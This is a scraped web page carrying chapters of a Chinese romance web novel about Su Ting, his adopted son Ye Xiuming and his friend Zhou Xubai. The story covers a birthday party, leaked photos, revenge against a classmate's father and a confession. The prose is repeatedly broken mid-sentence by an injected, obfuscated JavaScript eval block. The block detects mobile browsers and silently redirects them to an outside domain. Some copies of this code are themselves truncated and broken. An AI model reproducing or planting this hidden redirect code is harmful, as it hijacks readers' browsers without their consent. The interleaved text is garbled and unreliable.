顾见清是他在金大的金融系师兄,也是那一届的风云人物,得了许多创业大赛的奖项,而苏廷则是沉默寡言的,比寒风冷雪还要冰凉,他们在大学期间并没有什么交集,是临近毕业同时面试投行才相识的。 顾见清面试成功,苏廷则成功兜售了自己的创业计划,让这家投行给自己的项目注资。 当时顾见清与他一见如故,第一句话便是:“我上辈子一定在哪见过你。” 苏廷看了眼英俊高大的顾见清,婉言告知:“不好意思,我没见过你。” 顾见清一副不撞南墙不回头的架势。 “我能请你吃饭吗?” 苏廷冷眼道:“吃过了。” 不想,顾见清是个死缠烂打的人,汹涌的攻势持续了几个月,每天都乐此不疲地问他要不要一起去吃饭,最终苏廷还是拗不过顾见清的执着,在冬日的一个深夜里赴了约。 顾见清手捧鲜花,是吟风弄月的做派,当即就给了苏廷大大的拥抱。 那是苏廷生日的前两天。 他还从没被谁这么用力地拥抱过。 从不吃这套的苏廷却在那晚土崩瓦解,心防悄悄地打开,答应了顾见清试试看的要求。又在此后十多天的约会里,心口为他塌陷了一小块。 顾见清不是只有皮囊的人,他风趣可爱,学识渊博,更可贵的是,他有着无比强大的内心,是与苏廷势均力敌的存在。 所以当苏廷这个千年不化的冰山被顾见清融化时,知道的人无不惊呼一声“难得”。 苏廷还记得初夜时彼此颤抖的模样,顾见清不是个中老手,手法生涩,与他之前的熟稔形成了强烈的反差,让苏廷感到无比的新鲜。 那晚更主动的人是苏廷。 他仿佛打开了史所未有的开关,只为顾见清一人绽放。 故事的开始璀璨如花,故事的结束却潦草不已。 此后的五年,苏廷的人生底色就只有黑,而这枚罗马古币的吊坠,也成了他们感情的丧歌。 叶修明不知道罢了。 他还以为是自己做错了事,小心翼翼地走到苏廷的卧室。 房间弥漫着熏天的酒气,苏廷歪歪扭扭地斜靠在沙发,睡衣的领口微敞,露出白皙的脖颈。 他似乎已经睡着了。 叶修明给他抱了个薄毯搭上,弯腰把他的鞋子脱掉,双腿抬到沙发,让他睡得更加舒服一点。 苏廷泛红的眼皮微微颤动,一滴泪水顺着脸颊流落,嘴里咕哝着。 “顾见清……你为什么要这么对我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065988|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾见清,他是谁? 是那个给他拍照片的人吗? 叶修明眉峰下的阴影深邃,瞳色也是无止尽的黑,苏廷是他的小爸,他不愿看他被欺负。 顾见清是谁的疑问,是两天后苏廷的生日会上,叶修明才有机会得以发问的。 叶修明把周叙白拉到角落,直勾勾地看着他说:“大爸,顾见清是谁。” 周叙白当时正喝着苏廷珍藏的好酒,闻言“噗”的一声就把酒吐了,他擦了擦嘴角的酒液,“小子,你怎么突然这么问,是苏廷给你说什么了吗?” “没有,他两天前说梦话提的。” 周叙白的脸色转阴,面容不霁地望向与客人觥筹交错的苏廷。 对,他现在早已不是过去那个内向冷冰的人,无论大小的社交场合全都游刃有余,生意场上也从没让自己操过心,是个能力与外表兼具的奇人。 可他的内里,永远都会被这个名字弄得乌糟糟的。 真让人心疼。 苏廷高中才从南方城市转学到金城,父母却没有跟来,他是和外祖母相依为命的,据说苏廷的外祖母烧菜超绝,把苏廷的嘴养得很刁,可惜天公不作美,刚到大二,就传来外祖母去世的消息。 那天,周叙白给苏廷打了几十个电话他都没有接。 自己的好朋友从那时起,就悄然变成了冷血冷情的人,他似乎在用自己的优秀在告慰亡灵,却把最脆弱不守的那面留给自己。 看周叙白半天都没有反应,叶修明又问:“大爸顾见清到底是谁?” 周叙白支吾了半天,见防不住叶修明,索性说就说了:“顾见清是你小爸的前男友,也是初恋。” 叶修明突然能听到自己被巨石砸中的声音。 前……男友?? 苏廷……有男友?? 他不是男的吗?难道……他趁自己不注意的时候,以前是……女的? 女的……怎么会突然变男的?? 幼小无措的心灵受了结结实实的撞击,叶修明规着脸:“大爸,所以小爸真是同性恋?” 17.第17章 “怎么,你每天大爸小爸地叫着,不应该早有这种预感吗?不是说还见过吗?知道真相是什么,反而接受不了了?” 周叙白给自己多倒了些酒,故意用挑衅的目光看着叶修明。 叶修明还沉浸在各种意义上的震惊里,目瞪口呆地盯着周叙白,缓了许久才说:“你的意思是,小爸真的喜欢男人?” 周叙白虽然不耐烦,还是“嗯”了一声。 “那他……喜欢什么样的男人?” 周叙白差点又把嘴里的酒吐掉,愣了足足有一分多钟,像看个濒危物种一样死盯着叶修明。对于一个半路捡回来的破孩子,他是不是管得有点过宽了。 “小样,你懂什么叫喜欢吗?喜欢一个人,可不像喜欢一道菜那么肤浅,苏廷喜欢一个人,就更加复杂和难以捉摸,这些年……连我也把不准他的脉。” 温言玉比顾见清帅,傅西辞比顾见清优秀,可也不见苏廷对这俩人动过心思。 “所以,你是不知道了。”叶修明有些失望地说,“我还以为小爸的所有事情你都懂呢。” “你还真别挑衅我,没准我还真能问出来。”周叙白仿佛跟小屁孩置气似的,莫名其妙地接下了这个挑战,“小叶你给我等着,晚上我就问个明白。” 苏廷的生日宴是在Threshold西餐厅举行的冷餐会,食物琳琅满目,种类丰富,方便取食,吧台还专门请来了金城最好的调酒师,苏廷点了杯金汤力,跟他的几个生意伙伴借机谈资源互换的事情。 周叙白揣着一肚子的疑问,杵在苏廷的旁边半天都插不进嘴,只听苏廷提到了高端的智能家居模块后,周叙白知道机会来了,凑上前去。 “诸位,有爱才有家,所以苏总到底喜欢什么样的人。” 苏廷的眼角微微发麻,露出茫然的眼神。 周叙白这是在发什么羊癫疯。 周围的人果然起哄了:“叙白兄这是醉翁之意不在酒吧,问这个难道是自己心里有意?” “就是就是,听说叙白跟着苏总创业,从无到有,两人的感情也是非同小可。” “我看好你们。” 周叙白的耳根都红了,喉结上下滚动,着急狡辩:“我不是这个意思,是替……朋友问的。” “害,我还以为今天有好戏看,叙白兄你让人失望了。” 另一位帮腔:“是啊,叙白,你就算真喜欢苏廷也没什么,用不着不好意思。” 该死的叶修明,这下他跳进黄河也洗不清了,周叙白暗暗地给苏廷递了个抱歉的眼神,却不见苏廷早已血色消尽,最后连眉目都不抬了。 苏廷好像启动了自我保护的模式。 那是他在沾染上零星的与感情相关的东西时都会启动的机制。 可周叙白暂时不想出卖那个喊他“大爸”的小兄弟。 他的视线跌跌撞撞地与苏廷的目光短暂地相交,再奇异地错开,像是做了万般错事一样,胡乱给在场的说了声“我还有事”,就在众人不解的眼神里离开了。 徒留苏廷一人在空旷至极的西餐厅里与别人周旋。 叶修明正躲在无人的角落,抱着一盘大虾鸡尾杯在大快朵颐,不知不觉间,脑袋就开始昏昏沉沉的,视线也越来越模糊。 后来他隐约听到了小烟花的响声和众人庆贺的生日歌,大脑变成一片空白。 眼前一暗,昏了过去。 苏廷几乎完全没有沉浸在这么多祝福环绕的幸福里,而是用他锐利的眼神,在人群里搜索叶修明的身影。 这孩子,好像一晚上没看见了。 该不会跟周叙白提前离开了吧。 他的眼神悄然晦暗下去,拿起蛋糕铲切下第一刀后,留下个标志的僵硬笑脸,径直走到落地窗前拨通周叙白的电话。 在得到叶修明并没有跟周叙白一道离开的消息后,苏廷顿时紧张了起来,忙拉住过路送酒的男侍,“有没有看见我儿子?” 男侍摇了摇头,“没看到,不过他刚才还在这挑东西吃。” 苏廷赶紧也拨打叶修明的电话号码,不想却没人接听。 他一改常态,拧了下领带结, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071389|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用略带祈求的声音说:“各位,请问谁看到叶修明了?就是我的养子。”他在自己的胸口比着,“他大概在我这个位置。” 在场的纷纷摇头。 “那我不得不提前给大家说晚安了……” 苏廷强压着紧张,目送最后一个人离开。 他喊来Threshold的酒店经理:“请帮我找个孩子,看看他是什么时候遛到哪里去的。” 苏廷平时几乎是喜怒不形于色的,而今天他的焦灼却肉眼可见,当经理说并没有看到叶修明从西餐厅离开后,苏廷疯了一样在餐厅的各个角落遍寻他的身影。 终于,他找到了小脸通红的叶修明,身旁还有几个没吃完的大虾鸡尾杯,苏廷就要沉不住气了,打横抱起了叶修明出门,挥手招了辆出租车。 “去最近的医院。” 那大虾是用烈酒腌制的,吃得多无异于醉酒,叶修明小小年纪还在发育期,乍然摄入这么多的酒精,难保不会出问题。 苏廷抱着清瘦的叶修明,心中涌起一阵酸涩,都是自己不好,没能看好他,要是真出什么事,他该怎么向自己交待? 他把叶修明领养回家,断不是为了让他早点死的。 到医院后,急诊给叶修明进行了简单的处理,给他挂上了点滴瓶,嘱咐了几句就见怪不怪地走了。 看着虚弱不堪的叶修明,苏廷的天却轰然崩塌了,指端出现了阵阵麻意。 他目色沉寂地守在叶修明的身旁,几乎是寸步不离,这时,叶修明用极不清晰的口齿吐露着不成语句的字词。 “小……小爸。你为什么……” “照片……你难过吗?” “嗯,我难过。” “照片”二字能触发苏廷更深层的保护机制,他哑然看着叶修明,说:“你都看见、听见了什么?” 叶修明呼吸维艰地说:“看到了……小爸……很惨,照片……很多。” 苏廷用难以置信地语气说:“是谁给你看的?” 叶修明突然哭了,声音时断时续:“阮林。” 18.第18章 想得到阮林的信息不难,想处置阮林一家人也不难,难的是怎么消除那些照片对叶修明的影响。 他苏廷不怕世人玩味挑剔的眼光,更不怕叶修明会戴上有色眼镜看他,可叶修明还是个十多岁的孩子,那些艳照本身就是不良因子。 他决定晾着叶修明一段时间,冷处理这件棘手的事情。 所以当叶修明从醉酒的状态中清醒时,只看见周叙白的身影,当时他正严谨地听医生的话,事无巨细地将所有医嘱记在本子上。 叶修明的眼前一片混沌,大脑也是昏昏沉沉的,说不出的胀痛,他虚虚地问:“大爸,苏小爸呢?” “你小爸要出几天差。” “他去哪里出差。” 周叙白的瞎话遍不下去了,欲言又止地看着叶修明:“那些鸡尾杯,你拿的时候服务员应该提醒你里面有酒精,你为什么还是偷拿了一盘。” 叶修明将头别在一边,不敢与周叙白对视。 “是因为你看到了那些照片,心里不舒服对吧。”周叙白明明在微笑,眼底却像冻着一层冰,瞳孔深处毫无涟漪。 “你怎么知道的。” “你昨天睡着的时候不小心说的,苏廷全听到了。” 叶修明的瞳仁骤缩:“你是说小爸知道我知道了。” “嗯,”周叙白高强度地注视着他:“不过他确实是出差,不是躲着你。” 叶修明绷紧的后背软塌下去一块,如释重负地轻舒一口气。 周叙白:“但他不确定那些照片对你的影响有多大,正在考虑要不要带你去心理治疗师那里看看。” 叶修明的脑袋开始高频率地小幅度摇晃,慌不迭地说:“我没看多么清楚,只有模模糊糊的影子,是不是小爸我都不确定……对我没任何影响的。” 周叙白的眼睛一亮:“你说真的?” 叶修明:“嗯,真的。” “所以你手上没有这些照片?”周叙白打算一探到底。 叶修明撒谎道:“没有,我怎么可能保存那些东西。” 这回周叙白长舒了一口气。 苏廷一早就给他打电话,听起来还挺着急的,周叙白以为苏廷是要秋后算账昨晚的事情,正绷紧神经准备受训,结果听到了照片在叶修明学校泄露的消息。 当周叙白接到查阮林家庭信息的指令时,周叙白简直为阮姓这家人捏了把汗。苏廷有过几次情绪失控到差点逼死别人的情况,这次恐怕也不会好过。 周叙白的长睫垂下,让棱角锋利的脸粗粝与精微共存,叶修明看到他这张鬼斧神工的脸时,难免会想到苏廷的性向,和同周叙白的真实关系。 叶修明的眼神聚焦,鬼精地问道:“小爸什么都给你说吗,大爸?” 周叙白略加思索,就点了点头,“我们确实无话不谈。” “你们真是一对?” 周叙白似乎被谁凿了一拳,不敢造次地说:“我们只是无话不谈的朋友,没有那种关系。” “那你想有吗?”叶修明虎视眈眈地盯着他,似乎周叙白今天不给他答案,他就能张口吞了周叙白。 周叙白不想正面回答一个小屁孩,只是觉得叶修明有点过于染指他养父的感情生活,笑道:“你不怕我给苏廷告你的状吗。” 叶修明摇摇头:“你不敢。” 周叙白还真不敢,苏廷对感情是绝对排斥的,有时候保持距离才能长久。 他笑:“我确实不敢。” 叶修明也笑了:“你不敢告状,是因为你想跟小爸在一起。” 周叙白愣愣怔怔地看着叶修明,心想还的确是这个道理。 “叶修明,”周叙白的喉结来回滚动,半天才从鼻腔中冷哼一声,“你好像不是一般的小朋友。” 叶修明故态复萌地扮成人畜无害地小孩,用很夹的声音问道:“那你会告状吗,大爸。” 叶修明捏住了他的七寸和此生最大的秘密,就算他想给苏廷说点叶修明的坏话,也没机会了,那小子只会向苏廷兜售自己的秘密。 所以周叙白鼻子不是鼻子地指着叶修明:“小叶,你可千万别乱说话啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087446|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶修明轻笑一声:“彼此彼此。” 不出几天,叶修明就重新回到学校,苏廷出差还没回家,是周叙白送他来的。裴安一早就在校门口的紫藤花架下等着,看着叶修明远远地在一个陌生成年男人的陪伴下过来,先给周叙白打了声招呼。 “这次不是养父带你来吗?” 叶修明有点心神恍惚地点了点头,“他出差去了。” 他给周叙白说了声再见就跟裴安并排走进了学校,裴安神秘兮兮地说道:“你听说了没有,阮林的爸爸被控制了。” 叶修明一惊,“怎么回事?” “据说在龙城,阮林爸爸那个区想引进一个高端地产打造他们区的地标建筑当作名片,顺便提高房价、做政绩,他也提前打通了招投标的渠道,没想到临门一脚,被人举报暗箱操作,经过一番调查,阮林的爸爸还真拿了人家的好处,据说有几百个呢。” 叶修明的额角突然冒出许多细汗,看起来有些身体不适,裴安忙给他递了瓶水让他喝下,“这几天你没来,是生病了吧。” 叶修明苦笑道:“我误吃了一些东西,有点酒精中毒,不过现在好了。” 裴安说:“怎么这么不小心。” 叶修明:“我也不知道。”他目不斜视地看着裴安,“你说阮林的爸爸会判多少年?” “至少十年起步吧。” “那如果是几千万呢?”叶修明心思不属,“又会判多久?” 裴安“嘶”了一声,“估计要死刑。” 叶修明的两眼生翳,脚步沉重地走到了教室,跟裴安互道再见。阮林有个小跟班恰好在叶修明的班级,看见叶修明到了,跟看见瘟神似的。即使他俩坐的本来就是对角线,还是把头偏侧过去。 虽说叶修明不敢自作多情地妄想是苏廷解决的阮治国,但下意识还是让他的思绪飘到了苏廷正在出的差上面。 早不出,晚不出,偏偏在知道阮林的名字后出。 还恰好发生了这件事。 也难怪别人会把苏廷联想成睚眦必报的人。 19.第19章 一整天的时间,叶修明的心思都没放在上课读书,而在苏廷身上。 他突然想到一件事—— 如果阮治国真是苏廷下的手,那苏廷就是行贿的一方,他是要坐牢的。 所以趁课间,从苏廷生日就没在联系过他的叶修明,给苏廷去了条消息。 -[小爸,你在哪呢,回家了吗?] 苏廷直到傍晚放学都没有回他,而是选择在叶修明下课的时候,以同样的姿势倚在车前。 他远远看到叶修明真跟裴安一道走来,朝二人挥了挥手。裴安拉住叶修明的衣角:“你养父来了,还是那么帅啊。” 没想到叶修明没有回他,直愣愣地跑到苏廷的身前,极为用力地抱住了他。 这下远近的同学全都看见了,裴安张着嘴,朝空气哈了半天白气,叹气道:“小叶子跟他养父的关系真好。” 苏廷的腰被死死地箍着,动弹不得,他俯身摸了下叶修明的头顶,“头发长了,周叙白怎么不带你去剪头发。” 叶修明为周叙白辩解,“他也不是我的保姆,没义务带我去干这种事情。” “那我带你去,行不行。” 叶修明摸着软绵的鬓角,还有睡觉压得头发发翘的后脑勺,点了点头。 到了一家美式理发店后,发型师轻车熟路地给叶修明洗完了头发,问苏廷:“要剪什么样的发型?” 苏廷笑道:“你问他吧,那是他的头发。” 叶修明朝发型师比划了半天,总之是把话说明白了,发型师会意后就开始飞速下剪,叶修明眯着眼,从眼缝中偷觑着苏廷,半天才嗫嚅道:“小爸,你在龙城也有生意吗?” 苏廷一滞:“周叙白给你说我去龙城了?” “没有,我猜的。”叶修明说,“所以小爸,你为什么要这么做?” 苏廷低眉敛首,瘦削的颊侧出现细微的汗水,连额发也有些被窒闷打湿的迹象。他指着叶修明被精心修剪的头发:“有些人就像毒瘤、就像你被剪掉的头发一样毫无意义,这种情况下,只有除掉它才行。” “那你会有危险吗?” 苏廷的手指转向发型师手上的剪刀,“它会有危险吗?” 叶修明的眼梢斜飞,觉得他确实低估了苏廷的战斗力。 在发型师的一番修剪下,叶修明的头发很有设计感,苏廷看了眼,心满意足地给钱离开,叶修明惴惴不安地跟他上车后,对苏廷道:“对不起,刚才是我没忍住,当着别人的面就问了。” 苏廷在驾驶位斜睨着他:“不用对不起,你也没说漏什么。” “阮林的爸爸真是你设局弄进去的?” 苏廷冲他典雅一笑:“是。” “那你能逃过行贿的罪名吗?” 苏廷:“我自有办法。” 叶修明趁他车子还未发动,从书包里取出精美的包装盒,递给苏廷:“哦对了,这是给你的生日礼物,那天人太多,忘了给你。” 苏廷一怔,回身笑盈盈地接过那盒子,给叶修明递了个难以捉摸的微笑后,就将盒子放在了副驾驶位,发动引擎。 “你不打算看一下?” 苏廷是怕叶修明肚子饿,想早点到餐厅吃饭,眼见叶修明催促得厉害,只好打开。 甫一看到那礼物,就露出难以言喻的神情。 那是枚镶嵌了一周K金的罗马古银币吊坠,保留了那枚古币的整体性,仿佛带着无尽岁月打磨后的沧桑,蕴含着辗转多人后的诸多故事。 苏廷一眼就看出来那是他从意大利带回来的古币,正面是丰收女王,背面则是稻穗,象征着丰饶的收成。 叶修明说:“总比那个假古币好吧。” 叶修明说的正是大力神的黑金吊坠,那个只是仿照古币的形状,并不是真正的古币。 苏廷哑然失笑:“你哪来的时间找人做这个?” “你喜欢吗?” “喜欢。” 叶修明:“喜欢就行。” 苏廷恢复了明朗的容颜,笑起来的样子格外可爱,他也是笑着听完叶修明说完那句“假的真不了,真的假不了”的。 这时,苏廷在包装盒的底部发现了一张字条,上面歪歪扭扭地写道:小爸,别困在过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087447|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏廷默不作声地将纸条放回包装盒,又将包装盒整个放进了扶手箱里,问叶修明:“今天想吃什么?” 叶修明道:“芝士洋蓟。” 苏廷:“……” * 一连几天,苏廷都收到了用变声器威胁他的电话,电话那端似乎跟他有深仇大恨,连说了几次“你去死吧”。 周叙白无不担心地问道:“这次是谁,你有想法吗?” 苏廷从近乎麻木的状态中回过神来:“施方逸没这个胆子,阮治国也被控制了,那就只能是旧账。” 周叙白真是挤不出一点笑意,看着苏廷云淡风轻的样子就感到生气,“你还真是临危不乱啊。” 苏廷嗤笑:“如果老天真要我们今天死,那我们绝不会活过明天,想开点。” “你倒想得开!我还没活够呢!”周叙白顶着双死鱼般呆滞的眼睛,头昏欲裂地说:“总不会是叶修明招来的吧。” 苏廷不屑地挑眉:“如果真是叶修明的家人,把他接走不就行了?为什么要威胁我呢。” “叶修明有仇家?” 苏廷:“不像,这次明显是冲我来的。” 周叙白站也不是,坐也不是,出了昏招:“实在不行,我们就找温言玉,他们家位高权重,总能想出点办法来。” 苏廷:“打住,你有点不清醒了。” 欠温言玉的情,就好比欠下难以归还的巨债,把他的皮剥了还差不多。 “欸,你脖子里挂的是什么?”周叙白发现苏廷在高龄黑毛衣外挂了条吊坠,还是他没见过的样式,神色变幻了几次。 苏廷低头,摸了摸那吊坠敦实的、沉甸甸的质感,涩然一笑:“是我儿子找人做的。” 周叙白翻了个白眼:“这么早你儿子就开始孝敬您老人家了。” 苏廷笑吟吟地说:“你嫉妒什么,有本事自己捡个儿子去。” 周叙白腹诽那本来就是我先看见的儿子。 不过……周叙白的眼眸倏地变深:“要是有一天,叶修明的爸妈后悔了,想把他领回去,到时候你该怎么办?” 20.第20章 苏廷能从一尊冰雕变成现在这样有说有笑的人,叶修明的功劳不浅,猛然断了这层薄弱的父子关系,后果可想而知。 “而且,我记得你是最烦戴这些首饰的,当初顾见清送的吊坠也不见你戴,怎么?儿子比顾见清还重要?” 苏廷像是被触到逆鳞的恶龙,张开了尖牙利爪,对周叙白露出了獠牙:“谁让你说这个名字的?” 周叙白嘟嘟囔囔了一堆,谁也没听清楚他在说什么。 “你大点声。”苏廷说。 周叙白猛地抬高音量:“这都过去多少年了,不知道的还以为你忘不了旧情,忘不了顾见清!” 苏廷募地转身,意欲离开自己的办公室。 手臂被一股贯穿式的力量钳住,周叙白竟然在那副清瘦的骨架下藏了这么多能量!苏廷骤然被拉到周叙白的近身,近得几乎都要被他鼓噪的心跳声吵到。 周叙白想到叶修明推断的那些事实,头脑发热地朝苏廷的嘴角亲了下去。这个吻像周叙白本人一样坦然随和,蜻蜓点水般,却让苏廷整个人都跟着震荡不已。 他挣脱开来,退后好几步,几乎恼了,朝周叙白投去询问的目光,那眼神仿佛在说,你疯了,疯得可以去坐牢了。 苏廷用干涩的语气说:“周叙白,你到底想干什么?!” 周叙白心想反正亲都亲了,索性一不做二不休。他走到苏廷面前,掐住了他的脖子,趁苏廷张开嘴想要反抗的时候,将舌尖探入了苏廷的唇缝之间,搅动着,使这个吻充满波澜。 苏廷快要被这种窒息的感觉逼疯了,他狠狠地踢到周叙白的裤-裆,却只让周叙白闷哼一声。对方依然没轻饶他,让这个吻更加深入和不可一世。 苏廷喘着粗气,终于还是从他的禁锢下逃脱出来,眉眼含着冷冰的戾气:“如果今天的事情,没有个合理的解释,你就被解雇了。” 周叙白用不可名状的眼神轻探着苏廷的眼底,摇着头,像在否定一切。 “这么多年,我明明有更好的发展机会,却心甘情愿当你身边的助手,你有没有想过这到底是因为什么?” 苏廷:“我再给你一次机会,只要收回刚刚的话,我可以当作一切都没发生。” 周叙白:“我喜欢你,苏廷,别再假装看不到了。” 苏廷一指门外:“那就好走不送。” 周叙白黯然神伤的目光游移在苏廷的脸上,逡巡不去,说:“是因为,我最了解你,却还是表白了对吗。” 苏廷淡然点了点头。 “即使我注定要走,也不想收回喜欢你的话,苏廷,不是因为我想跟你闹掰,而是因为你值得。” 他想着那些威胁电话:“没有我在身边,记得多注意安全。” 说罢,周叙白就决绝地转身而去。 苏廷则瘫坐在地上。 周叙白是他在这个世界上的最后一份保险,没了他,就好比给他断手断脚。 不过人生聚散事难论,说到底,都是缘分。 当晚,苏廷没有去接叶修明,而是从傍晚独饮到了深夜,直到阴云四合,Caos Ordinato里人烟惨淡。 傅西辞单手撑着下巴欣赏早已现出醉态的苏廷,他腰软骨酥,一脸的春色撩人,傅西辞承认自己被蛊惑了。 所以他趁人不备,拖着醉醺醺软绵绵的苏廷在Threshold开了间套房,拿到房卡的那一瞬间,他的脸上现出连天漫地的火焰。 叶修明是被裴安家的私车送回家的,当时他在校门口等了半天,都不见苏廷的身影,打电话也关机,本来想打车回来,裴安怕他一个人出事,说服了司机绕一下远路。 到苏廷家楼下后,裴安嘱咐了两句就走了。叶修明着急忙慌地回家一探究竟,没想到家里的佣人都说没见苏廷回家。 叶修明给周叙白也打了电话,电话倒是接通了,但周叙白好像喝多了,半天都说不到点子上,叶修明问他知不知道苏廷去哪了。 周叙白意有所指地说:“在什么人的心里。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092363|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶修明差点破口大骂,气急败坏地把周叙白的电话挂了。 苏廷还会去哪呢?难道又出差了? 叶修明漫无目的地沿着Threshold所在的公路向南走着,路灯闪耀,他却觉得自己在永寂的黑暗,这一刻还生出了自己才是养父的错觉。 要是苏廷出点意外,自己到底要投奔谁去呢。 这时,周叙白的电话打了进来,叶修明一看来电号码,惶急地接通:“喂,大爸,有什么消息没有?” 周叙白口齿模糊地说:“Threshold前台……给我说,有个……苏廷模样的……男人……被另外一个男人……开了个套房。” 一听这话,叶修明仿佛被人硬灌了几斤燃料,飞也似地往回跑去,很快就到了酒店前台,那前台似乎对叶修明有点印象,立刻拿了通用房卡带他到苏廷的楼层。 苏廷正躺在大床上平缓地呼吸,他扯了扯毛衣的高领,似乎是有些呼吸不上来,见状,傅西辞将他的上半身微微抬起,动作麻利地褪去苏廷的毛衣。 他拿起苏廷胸前的吊坠看了看,然后兀自笑了笑,自说自话道:“你对意大利的硬币还真是执着。” 要是眼前的是一般人,说不定傅西辞真会随心所欲地玩他一玩,但他是苏廷,自己喜欢了几年,如果用强上来满足欲望,难免会玷污自己的感情。 对未能完全向自己敞开的心口,傅西辞还是有基本的礼貌的。 所以,当他的房间被服务生强行打开的时候,悲愤与惶惑同时爬上了眉梢,他看着张牙舞爪冲自己跑过来的叶修明,说:“想不到你小小年纪,还知道保护家人。” 叶修明已经上嘴去咬傅西辞的手臂,活像个猛兽。 “你对他做了什么!”叶修明似乎正在被什么东西悄然蚕食着,让他的理智消失殆尽,床上的苏廷衣衫不整,衣服都被脱了,看样子傅西辞真不是什么好鸟! 傅西辞的言语也没能缓解他的焦虑。 “我什么都做了。” 21.第21章 叶修明觉得傅西辞这是无可救药了!顿时穷极一身的力量再次狠狠地咬了下去,傅西辞没有对这实质性的疼痛有任何的反应,反而说:“从罗马一路跟他回金城,再在他的酒店开西餐厅,这就是我对你养父做的所有。” 叶修明听进去了,嘴还没松,一脸讶异地盯着他。 “他喝醉了,我找地方让他休息而已。”傅西辞笑眼看他:“对了,你叫什么名字?我每次都忘了问。” “叶修明,把你修理明白的修明。” 傅西辞看了看床上醉意深重的苏廷,朝叶修明摆了摆手,“这里就交给你了,记得让他多喝水,不然第二天头会很疼。” “等等,”叶修明将他喝住,“他到底为什么喝这么多酒。” 傅西辞:“等他醒过来,你问他好了。” 傅西辞和服务生都走了,房间里只剩叶修明和熟睡中的苏廷,叶修明随手将房间里的灯都关掉,屋内霎时浮泛着一层皎洁的月光。 叶修明脱掉大衣外套,脱掉白色鞋子,愣愣地躺在了苏廷的身边,苏廷匀速的呼吸带出浓厚甘烈的酒气,叶修明猛地呛了一嗓子,咳了出来。 苏廷似有所感地动了动眼皮,小声说:“你们都……背叛我。” 叶修明把头偏向他:“谁背叛你。” 苏廷叹了口气,沉沉地睡了过去。 不知为何,叶修明总觉得今晚的事情同周叙白有关。 两人在同一晚莫名其妙地喝醉,他周叙白最好能拿出个说法来。 第二天,苏廷先一步头痛欲碎地醒来,他揉着太阳穴,观察着周遭陌生而熟悉的气息。 首先他想到了这间房一定是傅西辞带他开的,面容严峻起来,下一秒他就摸了摸后腰,露出一抹微笑,不过……身旁的叶修明是什么情况? 他推了推叶修明的脑袋,说:“这都几点了,该去上学了。” 叶修明在梦里嘟囔:“我一个破小学生,就算一天不去又能怎么样。” 苏廷顿时一笑:“好,小学生。” 这时的他已经想到是周叙白通知的叶修明来Threshold看看情况,目光再次暗沉下去,心想周叙白就是个大孬种,竟然派一个孩子单枪匹马地跟傅西辞交战。 苏廷喊了欧陆早餐到房间来,将咖啡换成了西柚汁,他提着烘焙篮到叶修明的眼前晃了一晃,叶修明的肚子顿时“咕咕”一叫,人也挣扎着醒了。 “小……小爸。”叶修明是合衣睡的,坐起来就开始浑身不舒服,坐着的姿势明显出卖了他。 苏廷让他侧躺过去,双手开始在他的后背按摩,边揉边说:“昨天那种情况,你可以不过来的,有点危险。” “让我一个人放学就不危险?”叶修明反诘。 “好好好,昨天是我不对,我不该只顾着喝酒不接你,行了吧。”苏廷笑道:“你在学校交到了新朋友,所以我不担心。” 叶修明转过身来:“你为什么喝这么多酒?” 苏廷似乎有什么难言之隐似的,半天都没有说话,直到最后才憋出一句:“大人的事情小孩少操心。” “是不是跟周叙白有关??我打他电话找你的时候,他也喝多了。” 